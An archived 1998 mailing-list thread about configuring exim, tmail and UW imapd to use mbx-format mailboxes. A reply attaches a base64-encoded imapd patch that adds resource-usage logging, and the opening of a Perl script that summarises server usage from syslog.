Try > fixing your mailer so that it gives a consistant newline convention to tmail. Wonderful. Thanks. This turns out to be a gotcha in configuring exim. The exim documentation I used to have was an old copy and it didn't provide a way to use \r\n terminators for transports (e.g. appending to files or delivering to pipes--I used the latter to deliver via tmail). As a result, lines were all \n-terminated, tmail moaned about it (in fact, I chopped the error message out of the source) but delivery worked, which was the main thing. When I printed out a new copy of the exim documentation, I discovered the "use_crlf" option which uses \r\n-termination. Oh good, I thought, and turned it on (and went back to an out-of-the-box tmail). That's when the problem started. Mail delivered with that exim had the "body-vanishing" problem. It turns out that one of the other options in the pipe transport is "prefix" which is used to put the Berkeley "From ..." at the beginning of the message and defaults to prefix = "From ...\n" That constant \n was the first line terminator seen by tmail and so it went into "add-\r" mode as you spotted with nasty consequences. Setting prefix = to remove any prefix make everything work nicely (since there's no need for a "From " line when delivering with tmail. Things are now looking better for mbx. I'm still having a problem, though, trying to make sure *everything* is mbx format. I've compiled imapd with DEFAULTDRIVERS=mbx unix but when I do an IMAP create foo it still creates it in unix format, not mbx. I do an initial create #driver.mbx/INBOX for each user so that tmail delivers to the right place but I can't ensure that new mailboxes created by IMAP clients are always mbx. The only reason I compiled in unix was because there's a chance that I may want to use some special unix-format mailboxes to store some configuration info. I'd like to be able to force a default of mbx for everything, is possible, though if necessary I can compile out unix format and hope that does the trick. Can I force mbx? Am I likely to find any other problems setting up an all-mbx system: all mail is delivered to ~/INBOX and all folders are in the user's home directory. It would be nice if I could make that ~/Mail in such a way that users don't have to tell their IMAP clients about it but the blackbox option only allows /foo/username whereas we have to use /foo/group/username. While I'm asking questions, then, can I force that ~/Mail transparently to clients? Thanks for your quick responses, by the way. I've been running UW imapd for years on our two central systems with nothing fancy (delivery to /var/spool/mail/username, unix-format mailboxes, clients have to set Mail as server-subdirectory etc.). Now that I'm setting up a new mail cluster from scratch, I want to try to do it according to best practice, which I'm given to understand is mbx. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From pinedev@shivax2.cac.washington.edu Wed Sep 16 03:41:01 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 16 Sep 1998 03:41:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id DAA27601 for ; Wed, 16 Sep 1998 03:40:59 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id DAA21507; Wed, 16 Sep 1998 03:35:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id DAA26613; Wed, 16 Sep 1998 03:35:25 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id DAA18420 for ; Wed, 16 Sep 1998 03:33:23 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id DAA27850 for ; Wed, 16 Sep 1998 03:33:22 -0700 Received: from neon.transmeta.com (neon-best.transmeta.com [206.184.214.10]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id DAA21460; Wed, 16 Sep 1998 03:33:17 -0700 Received: from deepthought.transmeta.com (mailhost.transmeta.com [10.1.1.15]) by neon.transmeta.com (8.9.1/8.9.1) with ESMTP id DAA04958; Wed, 16 Sep 1998 03:30:06 -0700 Received: from marvin.transmeta.com (root@marvin.transmeta.com [10.1.27.210]) by deepthought.transmeta.com (8.8.8+spamcan/8.8.5) with ESMTP id DAA11234; Wed, 16 Sep 1998 03:33:13 -0700 (PDT) Received: from localhost (localhost.transmeta.com [127.0.0.1]) by marvin.transmeta.com (8.8.5/8.7.3) with ESMTP id DAA09178; Wed, 16 Sep 1998 03:33:12 -0700 Message-Id: Date: Wed, 16 Sep 1998 03:33:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Jauder Ho To: Malcolm Beattie Cc: Mark Crispin , c-client@CAC.Washington.EDU Subject: Re: tmail/mbx/imapd truncate message body In-Reply-To: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="17486363-1788236113-905941992=:9161" X-BOFH-MOTD: Use vi not Emacs! X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --17486363-1788236113-905941992=:9161 Content-Type: TEXT/PLAIN; charset=US-ASCII hey malcom.. I use sendmail + procmail but the attached patch might help out quite a little bit. the way to make mbx standard is to change unixproto to mbxproto in the makefile I believe. I am attaching two files. one's a patch to do things the way we do it here, which imho works real well, the only change I would do would be to change in to a /var/imap/<1st char>/<2nd char>/ format in the future but right now that would cause uncessary problems right now. it is not black box but close enough plus it retains all the features I want. a) I don't need to use tmail, imapd will snarf at connect time. b) it's pretty clean. I've also included a script which is in bad need of subroutinization (HINT HINT) but works real nice to collect results. I've got a third script that you can have if you want that creates the dirs. code is not guaranteed... yadda yadda. ymmv. I'm trying to convince mrc to put the getrusage() code into the mainline imap dist itself.. maybe if enough people use it, mark will :) --Jauder --17486363-1788236113-905941992=:9161 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=imap_patch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: patch Content-Disposition: attachment; filename=imap_patch ZGlmZiAtcnVOIGltYXAub2xkL01ha2VmaWxlIGltYXAvTWFrZWZpbGUNCi0t LSBpbWFwLm9sZC9NYWtlZmlsZQlUdWUgQXByIDI4IDEzOjUxOjMyIDE5OTgN CisrKyBpbWFwL01ha2VmaWxlCUZyaSBKdWwgIDMgMjM6MzI6MDIgMTk5OA0K QEAgLTcyLDcgKzcyLDcgQEANCiANCiAjIE1pc2NlbGxhbmVvdXMgY29tbWFu ZCBsaW5lIG9wdGlvbnMgcGFzc2VkIGRvd24gdG8gdGhlIGMtY2xpZW50IE1h a2VmaWxlDQogDQotRVhUUkFDRkxBR1M9DQorRVhUUkFDRkxBR1M9LURWRVJC T1NFTE9HDQogRVhUUkFMREZMQUdTPQ0KIA0KICMgTm9ybWFsIGNvbW1hbmRz DQpkaWZmIC1ydU4gaW1hcC5vbGQvc3JjL2ltYXBkL2ltYXBkLmMgaW1hcC9z cmMvaW1hcGQvaW1hcGQuYw0KLS0tIGltYXAub2xkL3NyYy9pbWFwZC9pbWFw ZC5jCUZyaSBKdWwgIDMgMTQ6MDg6NDMgMTk5OA0KKysrIGltYXAvc3JjL2lt YXBkL2ltYXBkLmMJRnJpIEp1bCAgMyAyMzozMjowMiAxOTk4DQpAQCAtNDYs NiArNDYsMTEgQEANCiAjaW5jbHVkZSA8c2lnbmFsLmg+DQogI2luY2x1ZGUg Im1pc2MuaCINCiANCisjaWZkZWYgVkVSQk9TRUxPRw0KKyNpbmNsdWRlIDxz eXMvdHlwZXMuaD4NCisjaW5jbHVkZSA8c3lzL3Jlc291cmNlLmg+DQorI2lu Y2x1ZGUgPHRpbWUuaD4NCisjZW5kaWYNCiANCiAvKiBBdXRvbG9nb3V0IHRp bWVyICovDQogI2RlZmluZSBMT0dJTlRJTUVPVVQgNjAqMw0KQEAgLTExMSw2 ICsxMTYsMTIgQEANCiBjaGFyICpsYXN0aWQgPSBOSUw7CQkvKiBsYXN0IGZl dGNoZWQgYm9keSBpZCBmb3IgdGhpcyBtZXNzYWdlICovDQogU0laRURURVhU IGxhc3RzdCA9IHtOSUwsMH07CS8qIGxhc3Qgc2l6ZWR0ZXh0ICovDQogDQor I2lmZGVmIFZFUkJPU0VMT0cNCit0aW1lX3QgKnRpbWVyOwkJCS8qIHRpbWVy ICovDQordGltZV90IHN0YXJ0dGltZTsJCS8qIHJlY29yZCBzdGFydCB0aW1l IG9mIHByb2Nlc3MgKi8NCitkb3VibGUgdXV0aW1lLHNzdGltZTsJCS8qIHVz ZXIgYW5kIHN5c3RlbSB0aW1lICovDQorI2VuZGlmDQorDQogLyogUmVzcG9u c2UgdGV4dHMgd2hpY2ggYXBwZWFyIGluIG11bHRpcGxlIHBsYWNlcyAqLw0K IA0KIGNoYXIgKndpbiA9ICIlcyBPSyAlLjgwcyBjb21wbGV0ZWRcMDE1XDAx MiI7DQpAQCAtMjE1LDYgKzIyNiw5IEBADQogDQogdm9pZCBtYWluIChpbnQg YXJnYyxjaGFyICphcmd2W10pDQogew0KKyNpZmRlZiBWRVJCT1NFTE9HDQor ICBzdHJ1Y3QgcnVzYWdlIHN5c2luZm87DQorI2VuZGlmDQogICB1bnNpZ25l ZCBsb25nIGksaixrLG0sdWlkOw0KICAgbG9uZyBmOw0KICAgY2hhciAqcywq dCwqdSwqdix0bXBbTUFJTFRNUExFTl07DQpAQCAtMjQyLDYgKzI1Niw5IEBA DQogICBkZWZhdWx0Og0KICAgICBmYXRhbCAoIlVua25vd24gc3RhdGUgZnJv bSBteXVzZXJuYW1lX2Z1bGwoKSIpOw0KICAgfQ0KKyNpZmRlZiBWRVJCT1NF TE9HDQorICBzdGFydHRpbWUgPSB0aW1lKHRpbWVyKTsNCisjZW5kaWYNCiAg IHByaW50ZiAoIiogJXMgJXMgSU1BUDRyZXYxIHYlcyBzZXJ2ZXIgcmVhZHlc MDE1XDAxMiIsdCx0Y3Bfc2VydmVyaG9zdCAoKSwNCiAJICB2ZXJzaW9uKTsN CiAgIGZmbHVzaCAoc3Rkb3V0KTsJCS8qIGR1bXAgb3V0cHV0IGJ1ZmZlciAq Lw0KQEAgLTEwMTYsNiArMTAzMywzNCBAQA0KICAgfSB3aGlsZSAoc3RhdGUg IT0gTE9HT1VUKTsJLyogdW50aWwgbG9nZ2VkIG91dCAqLw0KICAgc3lzbG9n IChMT0dfSU5GTywiTG9nb3V0IHVzZXI9JS44MHMgaG9zdD0lLjgwcyIsdXNl ciA/IHVzZXIgOiAiPz8/IiwNCiAJICB0Y3BfY2xpZW50aG9zdCAoKSk7DQor I2lmZGVmIFZFUkJPU0VMT0cNCisgIC8qIFRoaXMgaXMgZm9yIGFkZGl0aW9u YWwgbG9nZ2luZyBpbmZvcm1hdGlvbiBzbyB0aGF0IHdlIGNhbiBkbyBhbmFs eXNpcyAqLw0KKyAgZ2V0cnVzYWdlKFJVU0FHRV9TRUxGLCZzeXNpbmZvKTsN CisNCisgIHV1dGltZSA9IChkb3VibGUpIHN5c2luZm8ucnVfdXRpbWUudHZf c2VjICsNCisgICAgICAgICAgc3lzaW5mby5ydV91dGltZS50dl91c2VjIC8g MTAwMDAwMC4wOw0KKyAgc3N0aW1lID0gKGRvdWJsZSkgc3lzaW5mby5ydV9z dGltZS50dl9zZWMgKw0KKyAgICAgICAgICBzeXNpbmZvLnJ1X3N0aW1lLnR2 X3VzZWMgLyAxMDAwMDAwLjA7DQorDQorICBzeXNsb2cgKExPR19JTkZPLCJ1 ICVzIGZyb20gJXMgc3RhcnQgJWQgZXQgJWQgdXQgJS4zZiBzdCAlLjNmIG1z cyAlbGQgaXNzICVsZCBtaW5mICVsZCBtYWpmICVsZCBzdyAlbGQgYmkgJWxk IGJvICVsZCBtaSAlbGQgbW8gJWxkIG5zaWcgJWxkIHZjcyAlbGQgaWNzICVs ZCIsICAgICAgICAgICB1c2VyID8gdXNlciA6ICI/Pz8iLA0KKyAgICAgICAg ICB0Y3BfY2xpZW50aG9zdCAoKSwNCisgICAgICAgICAgc3RhcnR0aW1lLA0K KyAgICAgICAgICB0aW1lKHRpbWVyKSAtIHN0YXJ0dGltZSwNCisgICAgICAg ICAgdXV0aW1lLA0KKyAgICAgICAgICBzc3RpbWUsDQorICAgICAgICAgIHN5 c2luZm8ucnVfbWF4cnNzLA0KKyAgICAgICAgICBzeXNpbmZvLnJ1X2lkcnNz LA0KKyAgICAgICAgICBzeXNpbmZvLnJ1X21pbmZsdCwNCisgICAgICAgICAg c3lzaW5mby5ydV9tYWpmbHQsDQorICAgICAgICAgIHN5c2luZm8ucnVfbnN3 YXAsDQorICAgICAgICAgIHN5c2luZm8ucnVfaW5ibG9jaywNCisgICAgICAg ICAgc3lzaW5mby5ydV9vdWJsb2NrLA0KKyAgICAgICAgICBzeXNpbmZvLnJ1 X21zZ3JjdiwNCisgICAgICAgICAgc3lzaW5mby5ydV9tc2dzbmQsDQorICAg ICAgICAgIHN5c2luZm8ucnVfbnNpZ25hbHMsDQorICAgICAgICAgIHN5c2lu Zm8ucnVfbnZjc3csDQorICAgICAgICAgIHN5c2luZm8ucnVfbml2Y3N3KTsN CisjZW5kaWYNCiAgIGV4aXQgKDApOwkJCS8qIGFsbCBkb25lICovDQogfQ0K IAwNCkBAIC0xMTk0LDEyICsxMjM5LDQzIEBADQogDQogdm9pZCBjbGtpbnQg KHZvaWQpDQogew0KKyNpZmRlZiBWRVJCT1NFTE9HDQorICBzdHJ1Y3QgcnVz YWdlIHN5c2luZm87DQorI2VuZGlmDQogICBhbGFybSAoMCk7CQkJLyogZGlz YWJsZSBhbGwgaW50ZXJydXB0cyAqLw0KICAgc2VydmVyX3RyYXBzIChTSUdf SUdOLFNJR19JR04sU0lHX0lHTixTSUdfSUdOKTsNCiAgIGlmICghcXVlbGxf ZXZlbnRzKQ0KICAgICBmcHV0cyAoIiogQllFIEF1dG9sb2dvdXQ7IGlkbGUg Zm9yIHRvbyBsb25nXDAxNVwwMTIiLHN0ZG91dCk7DQogICBzeXNsb2cgKExP R19JTkZPLCJBdXRvbG9nb3V0IHVzZXI9JS44MHMgaG9zdD0lLjgwcyIsdXNl ciA/IHVzZXIgOiAiPz8/IiwNCiAJICB0Y3BfY2xpZW50aG9zdCAoKSk7DQor I2lmZGVmIFZFUkJPU0VMT0cNCisgIC8qIFRoaXMgaXMgZm9yIGFkZGl0aW9u YWwgbG9nZ2luZyBpbmZvcm1hdGlvbiBzbyB0aGF0IHdlIGNhbiBkbyBhbmFs eXNpcyAqLw0KKyAgZ2V0cnVzYWdlKFJVU0FHRV9TRUxGLCZzeXNpbmZvKTsN CisNCisgIHV1dGltZSA9IChkb3VibGUpIHN5c2luZm8ucnVfdXRpbWUudHZf c2VjICsNCisgICAgICAgICAgc3lzaW5mby5ydV91dGltZS50dl91c2VjIC8g MTAwMDAwMC4wOw0KKyAgc3N0aW1lID0gKGRvdWJsZSkgc3lzaW5mby5ydV9z dGltZS50dl9zZWMgKw0KKyAgICAgICAgICBzeXNpbmZvLnJ1X3N0aW1lLnR2 X3VzZWMgLyAxMDAwMDAwLjA7DQorDQorICBzeXNsb2cgKExPR19JTkZPLCJ1 ICVzIGZyb20gJXMgc3RhcnQgJWQgZXQgJWQgdXQgJS4zZiBzdCAlLjNmIG1z cyAlbGQgaXNzICVsZCBtaW5mICVsZCBtYWpmICVsZCBzdyAlbGQgYmkgJWxk IGJvICVsZCBtaSAlbGQgbW8gJWxkIG5zaWcgJWxkIHZjcyAlbGQgaWNzICVs ZCIsICAgICAgICAgICB1c2VyID8gdXNlciA6ICI/Pz8iLA0KKyAgICAgICAg ICB0Y3BfY2xpZW50aG9zdCAoKSwNCisgICAgICAgICAgc3RhcnR0aW1lLA0K KyAgICAgICAgICB0aW1lKHRpbWVyKSAtIHN0YXJ0dGltZSwNCisgICAgICAg ICAgdXV0aW1lLA0KKyAgICAgICAgICBzc3RpbWUsDQorICAgICAgICAgIHN5 c2luZm8ucnVfbWF4cnNzLA0KKyAgICAgICAgICBzeXNpbmZvLnJ1X2lkcnNz LA0KKyAgICAgICAgICBzeXNpbmZvLnJ1X21pbmZsdCwNCisgICAgICAgICAg c3lzaW5mby5ydV9tYWpmbHQsDQorICAgICAgICAgIHN5c2luZm8ucnVfbnN3 YXAsDQorICAgICAgICAgIHN5c2luZm8ucnVfaW5ibG9jaywNCisgICAgICAg ICAgc3lzaW5mby5ydV9vdWJsb2NrLA0KKyAgICAgICAgICBzeXNpbmZvLnJ1 X21zZ3JjdiwNCisgICAgICAgICAgc3lzaW5mby5ydV9tc2dzbmQsDQorICAg ICAgICAgIHN5c2luZm8ucnVfbnNpZ25hbHMsDQorICAgICAgICAgIHN5c2lu Zm8ucnVfbnZjc3csDQorICAgICAgICAgIHN5c2luZm8ucnVfbml2Y3N3KTsN CisjZW5kaWYNCiAgIGZmbHVzaCAoc3Rkb3V0KTsJCS8qIG1ha2Ugc3VyZSBv dXRwdXQgYmxhdHRlZCAqLw0KICAgaWYgKGNyaXRpY2FsKSBzdGF0ZSA9IExP R09VVDsJLyogYmFkbHkgaG9zZWQgaWYgaW4gY3JpdGljYWwgY29kZSAqLw0K ICAgZWxzZSB7CQkJLyogdHJ5IHRvIGdyYWNlZnVsbHkgY2xvc2UgdGhlIHN0 cmVhbSAqLw0KZGlmZiAtcnVOIGltYXAub2xkL3NyYy9vc2RlcC91bml4L01h a2VmaWxlIGltYXAvc3JjL29zZGVwL3VuaXgvTWFrZWZpbGUNCi0tLSBpbWFw Lm9sZC9zcmMvb3NkZXAvdW5peC9NYWtlZmlsZQlNb24gSnVuIDI5IDE2OjQw OjQ5IDE5OTgNCisrKyBpbWFwL3NyYy9vc2RlcC91bml4L01ha2VmaWxlCUZy aSBKdWwgIDMgMjM6MzI6MDIgMTk5OA0KQEAgLTM0LDcgKzM0LDcgQEANCiAj IENvbW1hbmQgbGluZSBidWlsZCBwYXJhbWV0ZXJzDQogDQogRVhUUkFBVVRI RU5USUNBVE9SUz0NCi1FWFRSQURSSVZFUlM9bWJveA0KK0VYVFJBRFJJVkVS Uz0NCiBQQVNTV0RUWVBFPXN0ZA0KIA0KIA0KQEAgLTY4LDcgKzY4LDcgQEAN CiBTUE9PTERJUj0vdXNyL3Nwb29sDQogTUFJTFNQT09MPSQoU1BPT0xESVIp L21haWwNCiBORVdTU1BPT0w9JChTUE9PTERJUikvbmV3cw0KLVNURFBST1RP PXVuaXhwcm90bw0KK1NURFBST1RPPW1ieHByb3RvDQogUlNIUEFUSD0vdXNy L3VjYi9yc2gNCiANCiANCkBAIC04Myw3ICs4Myw3IEBADQogIyBTdGFuZGFy ZCBkaXN0cmlidXRpb24gYnVpbGQgcGFyYW1ldGVycw0KIA0KIERFRkFVTFRB VVRIRU5USUNBVE9SUz1sb2cNCi1ERUZBVUxURFJJVkVSUz1pbWFwIG5udHAg cG9wMyBtaCBteCBtYnggdGVuZXggbXR4IG1tZGYgdW5peCBuZXdzIHBoaWxl DQorREVGQVVMVERSSVZFUlM9aW1hcCBwb3AzIG1oIG1ieCB1bml4IG5ld3Mg cGhpbGUNCiANCiANCiAjIE5vcm1hbGx5IG5vIG5lZWQgdG8gY2hhbmdlIGFu eSBvZiB0aGVzZQ0KZGlmZiAtcnVOIGltYXAub2xkL3NyYy9vc2RlcC91bml4 L2R1bW15LmMgaW1hcC9zcmMvb3NkZXAvdW5peC9kdW1teS5jDQotLS0gaW1h cC5vbGQvc3JjL29zZGVwL3VuaXgvZHVtbXkuYwlUaHUgSnVuICA0IDE4OjUz OjExIDE5OTgNCisrKyBpbWFwL3NyYy9vc2RlcC91bml4L2R1bW15LmMJRnJp IEp1bCAgMyAyMzozNToxNCAxOTk4DQpAQCAtMjM4LDExICsyMzgsOSBAQA0K IAkJCQkvKiBsaXN0IGl0IGlmIG5vdCBhdCB0b3AtbGV2ZWwgKi8NCiAgICAg aWYgKCFsZXZlbCAmJiBkaXIgJiYgcG1hdGNoX2Z1bGwgKGRpcixwYXQsJy8n KSkNCiAgICAgICBkdW1teV9saXN0ZWQgKHN0cmVhbSwnLycsZGlyLExBVFRf Tk9TRUxFQ1QsY29udGVudHMpOw0KLQkJCQkvKiBzY2FuIGRpcmVjdG9yeSwg aWdub3JlIC4gYW5kIC4uICovDQorCQkJCS8qIHNjYW4gZGlyZWN0b3J5LCBp Z25vcmUgLiBmaWxlcyAqLw0KICAgICBpZiAoIWRpciB8fCBkaXJbc3RybGVu IChkaXIpIC0gMV0gPT0gJy8nKSB3aGlsZSAoZCA9IHJlYWRkaXIgKGRwKSkN Ci0gICAgICBpZiAoKGQtPmRfbmFtZVswXSAhPSAnLicpIHx8DQotCSAgKGQt PmRfbmFtZVsxXSAmJiAoKChkLT5kX25hbWVbMV0gIT0gJy4nKSB8fCBkLT5k X25hbWVbMl0pICYmDQotCQkJICAgIHN0cmNtcCAoZC0+ZF9uYW1lKzEsTVhJ TkRFWE5BTUUrMykpKSkgew0KKyAgICAgIGlmIChkLT5kX25hbWVbMF0gIT0g Jy4nKSB7DQogCQkJCS8qIHNlZSBpZiBuYW1lIGlzIHVzZWZ1bCAqLw0KIAlp ZiAoZGlyKSBzcHJpbnRmICh0bXAsIiVzJXMiLGRpcixkLT5kX25hbWUpOw0K IAllbHNlIHN0cmNweSAodG1wLGQtPmRfbmFtZSk7DQpkaWZmIC1ydU4gaW1h cC5vbGQvc3JjL29zZGVwL3VuaXgvZW52X3VuaXguYyBpbWFwL3NyYy9vc2Rl cC91bml4L2Vudl91bml4LmMNCi0tLSBpbWFwLm9sZC9zcmMvb3NkZXAvdW5p eC9lbnZfdW5peC5jCVN1biBKdW4gMjggMTA6MjI6NTMgMTk5OA0KKysrIGlt YXAvc3JjL29zZGVwL3VuaXgvZW52X3VuaXguYwlGcmkgSnVsICAzIDIzOjMy OjAyIDE5OTgNCkBAIC00NDUsNyArNDQ1LDggQEANCiAgICAgICBuc2xpc3Rb MF0gPSAmbnNob21lLG5zbGlzdFsxXSA9ICZuc2JsYWNrb3RoZXIsbnNsaXN0 WzJdID0gJm5zc2hhcmVkOw0KICAgICBlbHNlIHsJCQkvKiBub3QgYSBibGFj ayBib3ggKi8NCiAgICAgICBuc2xpc3RbMF0gPSAmbnNob21lLG5zbGlzdFsx XSA9ICZuc3VuaXhvdGhlcixuc2xpc3RbMl0gPSAmbnNzaGFyZWQ7DQotICAg ICAgbXlIb21lRGlyID0gY3B5c3RyIChob21lKTsvKiB1c2UgcmVhbCBob21l IGRpcmVjdG9yeSAqLw0KKyAgICAgIHNwcmludGYgKHRtcCwiL3Zhci9pbWFw LyVzIixteVVzZXJOYW1lKTsgLyogRE9OJ1QgdXNlIHJlYWwgaG9tZSBkaXIg Ki8NCisgICAgICBteUhvbWVEaXIgPSBjcHlzdHIgKHRtcCk7ICAgICAgICAg ICAgICAgIC8qIHVzZSAvdmFyL2ltYXAvPHVzZXJpZD4gKi8NCiAJCQkJLyog bWFrZSBzdXJlIHVzZXIgcmMgZmlsZXMgZG9uJ3QgdHJ5IHRoaXMgKi8NCiAg ICAgICBibGFja0JveERpciA9IGJsYWNrQm94RGVmYXVsdEhvbWUgPSAiIjsN CiAgICAgfQ0K --17486363-1788236113-905941992=:9161 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=imapTool Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: imapTool Content-Disposition: attachment; filename=imapTool IyEvdXNyL2xvY2FsL2Jpbi9wZXJsIC1UDQojDQojIGltYXBUb29sDQojDQoj IEFuYWx5emVzIHRoZSBpbWFwIHNlcnZlciBmb3IgdmFyaW91cyBiaXRzIG9m IGluZm9ybWF0aW9uIHRvIHByb3ZpZGUgdXNhZ2UNCiMgZGF0YS4gVGhpcyBp bmZvcm1hdGlvbiBpcyB1c2VmdWwgZm9yIGNhcGFjaXR5IHBsYW5uaW5nIGFz IHdlbGwgYXMgdHJhY2tpbmcNCiMgZG93biBzZXJ2ZXIgYWJ1c2Vycy4gVGhp cyBwcm9ncmFtIHJlcXVpcmVzIHRoYXQgdGhlIGltYXBkIGJlIGEgVS1XIHNl cnZlcg0KIyBydW5uaW5nIHdpdGggbXkgcGF0Y2ggdG8gcHJvdmlkZSBhZGRp dGlvbmFsIGRhdGEuIENvbnRhY3QgbWUgZGlyZWN0bHkgZm9yIA0KIyB0aGUg cGF0Y2ggd2hpY2ggbG9ncyBnZXRydXNhZ2UoKSBpbmZvLiBUaGlzIGFsc28g cmVxdWlyZXMgdGhhdCBzeXNsb2cgYmUNCiMgY29uZmlndXJlZCB0byBsb2cg bWFpbC5kZWJ1ZyBpbmZvcm1hdGlvbi4gUGxlYXNlIGFkanVzdCBwYXRocyBh cyBuZWNlc3NhcnkuDQojDQojIFRoaXMgaXMgcHJldHR5IFNvbGFyaXMgY2Vu dHJpYy4gWU1NVi4gTm8gc21hbGwgYW5pbWFscyB3ZXJlIGhhcm1lZCBpbiB0 aGUNCiMgcHJvZHVjdGlvbiBvZiB0aGlzIGNvZGUuIERpc3RyaWJ1dGVkIHVu ZGVyIHRoZSBHUEwgbGljZW5zZS4NCiMNCiMgJElkOiBpbWFwVG9vbCx2IDEu MyAxOTk4LzA2LzAzIDA3OjQ4OjEwIGphdWRlcmhvIEV4cCBqYXVkZXJobyAk DQojIChDKSBDb3B5cmlnaHQgMTk5OCBKYXVkZXIgSG8gPGphdWRlcmhvQGNh cnVtYmEuY29tPg0KIw0KIyAwNTE1OTggamF1ZGVyaG8gW2ZpcnN0IHBhc3Mg YXQgc3lzdGVtIGFuYWx5c2lzXQ0KIyAwNTE3OTggamF1ZGVyaG8gW2FsbCBz dGF0cyBhcmUgbm93IHRyYWNrZWQuIG5lZWQgdG8gYWRkIGRpc2sgdXNhZ2Ug YW5kXQ0KIwkJICBbYWNjb3VudCBpbmZvLiBoYXZlIHRvIGZpZ3VyZSBvdXQg aG93IHRvIHRyYWNrIG1heF0NCiMJCSAgW2NvbmN1cnJlbnQgdXNlcnNdDQoj IDA1MTg5OCBqYXVkZXJobyBbc2xpZ2h0bHkgaW1wcm92ZWQgc29ydGluZyBp biBwbGFjZS4gcmVwb3J0cyBhY2NvdW50IGluZm9dDQojIDA1MjE5OCBqYXVk ZXJobyBbbW9yZSBtaW5vciBmaXh1cHNdDQojIDA2MDI5OCBqYXVkZXJobyBb Zmlyc3QgYXR0ZW1wdCBhdCB0cnlpbmcgdG8gY2FsY3VsYXRlIHRoZSBtYXgg bnVtYmVyIG9mXQ0KIwkJICBbdXNlcnMgb25saW5lIGF0IG9uZSB0aW1lLiBu ZWVkIHRvIHB1dCBsb2dpY2FsIHNlY3Rpb25zIGluXQ0KIyAwNzA3OTggamF1 ZGVyaG8gW21vZGlmaWVkIG1hdGNoIHJvdXRpbmUgdG8gd29yayB3aXRoIHYx MC4yMzQgb2YgdS13IGltYXBkXQ0KIwkJICBbYWRkZWQgY29kZSB0byBmaW5k IG91dCBuZXcgYWNjb3VudHMgYWRkZWQgdGhpcyB3ZWVrXQ0KIw0KDQpteSAk aW1hcEhvbWUgPSAiL3Zhci9pbWFwIjsNCm15ICRsb2dGaWxlICA9ICIvdmFy L2xvZy9zeXNsb2ciOw0KbXkgJG1heE9ubGluZVVzZXJzPTA7DQpteSAkd2F0 ZXJNYXJrPTU7CSMgSWdub3JlIHNlc3Npb25zIHRoYXQgbGFzdCBsZXNzIHRo YW4geCBzZWNzLg0KDQpteSAoJGRhdGUsJGlob3N0LCRwcm9jZXNzLCR1c2Vy LCRob3N0LCRzdGFydCwkZXQsJHV0LCRzdCk7DQpteSAoJG1zcywkaXNzLCRt aW5mLCRtYWpmLCRzdywkYmksJGJvLCRtaSwkbW8sJG5zaWcsJHZjcywkaWNz KTsNCm15ICgkc2Vzc2lvbkNvdW50ZXIsJHVzZXJDb3VudGVyLCRob3N0Q291 bnRlciwkZXRDb3VudGVyLCRzd0NvdW50ZXIpOw0KbXkgKCRzdGFydERhdGUs JGVuZERhdGUpOw0KbXkgJHRvdGFsQ1BVVGltZTsNCm15ICRhdmdtYWpwZjsN Cm15ICR3b3JzZW1hanBmOw0KbXkgJG9ubGluZVVzZXJzOw0KbXkgJG1heE9u bGluZVVzZXJzVGltZTsNCm15ICRhY3RpdmVBY2N0Q291bnRlcjsNCg0KbXkg QGxzZmlsZXM7DQpteSAoJXNlZW5Vc2VyLCVzZWVuSG9zdCwlaW5BY3RpdmVB Y2N0LCVuZXdBY2N0LCV3b3JzZW1hanBmLCVvbmxpbmVUaW1lcyk7DQoNCnN1 YiB0aW1lQ29udmVydDsNCg0KaWYgKCRBUkdWWzBdKSB7DQoJJGxvZ0ZpbGUg PSAkbG9nRmlsZSAuICIuJEFSR1ZbMF0iOw0KfQ0KDQpvcGVuKElOUFVULCIk bG9nRmlsZSIpIG9yIGRpZSAiQ2Fubm90IG9wZW4gZmlsZSAkbG9nRmlsZVxu IjsNCmZvciAoPElOUFVUPikgew0KCSMgVHJ5IGEgcmVhc29uYWJsZSBwYXR0 ZXJuLiBNYXkgbmVlZCBhZGp1c3RpbmcuDQoJaWYgKC91XHNcUytcc2Zyb21c cy8pIHsNCgkJbXkgKCRzdGFydHRpbWUsJGVuZHRpbWUpOw0KDQoJCWNob21w KCk7CSMgQ2hvbXAhDQoNCgkJIyBIZXJlJ3MgdGhlIHJlYWxseSByZWFsbHkg dWdseSBmdWxsIHBhdHRlcm4gbWF0Y2guDQoJCSMgRmVlbCBmcmVlIHRvIG1h a2UgaXQgYmV0dGVyLg0KCQkoJGRhdGUsJGlob3N0LCRwcm9jZXNzLCR1c2Vy LCRob3N0LCRzdGFydCwkZXQsJHV0LCRzdCwkbXNzLCRpc3MsJG1pbmYsJG1h amYsJHN3LCRiaSwkYm8sJG1pLCRtbywkbnNpZywkdmNzLCRpY3MpIA0KCQk9 IC9eKFx3K1xzK1xkKyBcZCs6XGQrOlxkKykgKFx3KykgaW1hcGRcWyhcZCsp XTogdSAoXFMrKSBmcm9tIChcUysgXFMrfFxTKykgc3RhcnQgKFxkKykgZXQg 